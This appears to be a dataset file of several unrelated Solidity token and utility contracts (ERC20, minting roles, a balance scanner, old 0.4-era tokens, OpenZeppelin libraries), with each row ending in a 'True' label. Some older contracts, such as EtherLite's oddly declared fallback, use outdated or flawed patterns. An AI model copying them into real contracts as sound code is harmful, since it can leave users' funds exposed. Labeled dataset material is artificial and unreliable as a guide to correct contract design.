function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
pragma solidity >=0.4.25 <0.7.0;
contract Clover42Token is
ERC20,
ERC20Detailed,
ERC20Mintable,
ERC20Burnable
{
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 totalSupply
) public ERC20Detailed(name, symbol, decimals) {
// Boost uniswap liquidity
_mint(msg.sender, totalSupply * (10**uint256(decimals)));
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
/**
* @title An Ether or token balance scanner
* @author Maarten Zuidhoorn
* @author Luit Hollander
*/
contract BalanceScanner {
struct Result {
bool success;
bytes data;
}
/**
* @notice Get the Ether balance for all addresses specified
* @param addresses The addresses to get the Ether balance for
* @return results The Ether balance for all addresses in the same order as specified
*/
function etherBalances(address[] calldata addresses) external view returns (Result[] memory results) {
results = new Result[](addresses.length);
for (uint256 i = 0; i < addresses.length; i++) {
results[i] = Result(true, abi.encode(addresses[i].balance));
}
}
/**
* @notice Get the ERC-20 token balance of `token` for all addresses specified
* @dev This does not check if the `token` address specified is actually an ERC-20 token
* @param addresses The addresses to get the token balance for
* @param token The address of the ERC-20 token contract
* @return results The token balance for all addresses in the same order as specified
*/
function tokenBalances(address[] calldata addresses, address token) external view returns (Result[] memory results) {
results = new Result[](addresses.length);
for (uint256 i = 0; i < addresses.length; i++) {
bytes memory data = abi.encodeWithSignature("balanceOf(address)", addresses[i]);
results[i] = staticCall(token, data, 20000);
}
}
/**
* @notice Get the ERC-20 token balance from multiple contracts for a single owner
* @param owner The address of the token owner
* @param contracts The addresses of the ERC-20 token contracts
* @return results The token balances in the same order as the addresses specified
*/
function tokensBalance(address owner, address[] calldata contracts) external view returns (Result[] memory results) {
results = new Result[](contracts.length);
bytes memory data = abi.encodeWithSignature("balanceOf(address)", owner);
for (uint256 i = 0; i < contracts.length; i++) {
results[i] = staticCall(contracts[i], data, 20000);
}
}
/**
* @notice Call multiple contracts with the provided arbitrary data
* @param contracts The contracts to call
* @param data The data to call the contracts with
* @return results The raw result of the contract calls
*/
function call(address[] calldata contracts, bytes[] calldata data) external view returns (Result[] memory results) {
return call(contracts, data, gasleft());
}
/**
* @notice Call multiple contracts with the provided arbitrary data
* @param contracts The contracts to call
* @param data The data to call the contracts with
* @param gas The amount of gas to call the contracts with
* @return results The raw result of the contract calls
*/
function call(
address[] calldata contracts,
bytes[] calldata data,
uint256 gas
) public view returns (Result[] memory results) {
require(contracts.length == data.length, "Length must be equal");
results = new Result[](contracts.length);
for (uint256 i = 0; i < contracts.length; i++) {
results[i] = staticCall(contracts[i], data[i], gas);
}
}
/**
* @notice Static call a contract with the provided data
* @param target The address of the contract to call
* @param data The data to call the contract with
* @param gas The amount of gas to forward to the call
* @return result The result of the contract call
*/
function staticCall(
address target,
bytes memory data,
uint256 gas
) private view returns (Result memory) {
uint256 size = codeSize(target);
if (size > 0) {
(bool success, bytes memory result) = target.staticcall{ gas: gas }(data);
if (success) {
return Result(success, result);
}
}
return Result(false, "");
}
/**
* @notice Get code size of address
* @param _address The address to get code size from
* @return size Unsigned 256-bits integer
*/
function codeSize(address _address) private view returns (uint256 size) {
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(_address)
}
}
} | True | [
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pragma solidity ^0.4.13;
contract Token {
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
function Token() {
totalSupply = 5*(10**8)*(10**18);
balanceOf[msg.sender] = 5*(10**8)*(10**18); // Give the creator all initial tokens
name = "ChainTraining"; // Set the name for display purposes
symbol = "CTT"; // Set the symbol for display purposes
decimals = 18; // Amount of decimals for display purposes
}
function transfer(address _to, uint256 _value) {
/* Check if sender has balance and for overflows */
if (balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to])
revert();
/* Add and subtract new balances */
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
/* Notifiy anyone listening that this transfer took place */
Transfer(msg.sender, _to, _value);
}
/* This unnamed function is called whenever someone tries to send ether to it */
function () {
revert(); // Prevents accidental sending of ether
}
} | True | [
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pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract EtherLite {
// Public variables of the token
string public name = "EtherLite";
string public symbol = "ETHL";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default
uint256 public totalSupply;
uint256 public EtherLiteSupply = 65000000000;
uint256 public buyPrice = 20000000;
address public creator;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function EtherLite() public {
totalSupply = EtherLiteSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give EtherLiteCoin Mint the total created tokens
creator = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Buy tokens from contract by sending ether
function () payable internal {
uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI
uint amountRaised;
amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl
require(balanceOf[creator] >= amount); // checks if it has enough to sell
balanceOf[msg.sender] += amount; // adds the amount to buyer's balance
balanceOf[creator] -= amount; // sends ETH to EtherLiteCoinMint
Transfer(creator, msg.sender, amount); // execute an event reflecting the change
creator.transfer(amountRaised);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: MIT
// File: openzeppelin-solidity/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: openzeppelin-solidity/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: openzeppelin-solidity/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: openzeppelin-solidity/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: openzeppelin-solidity/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
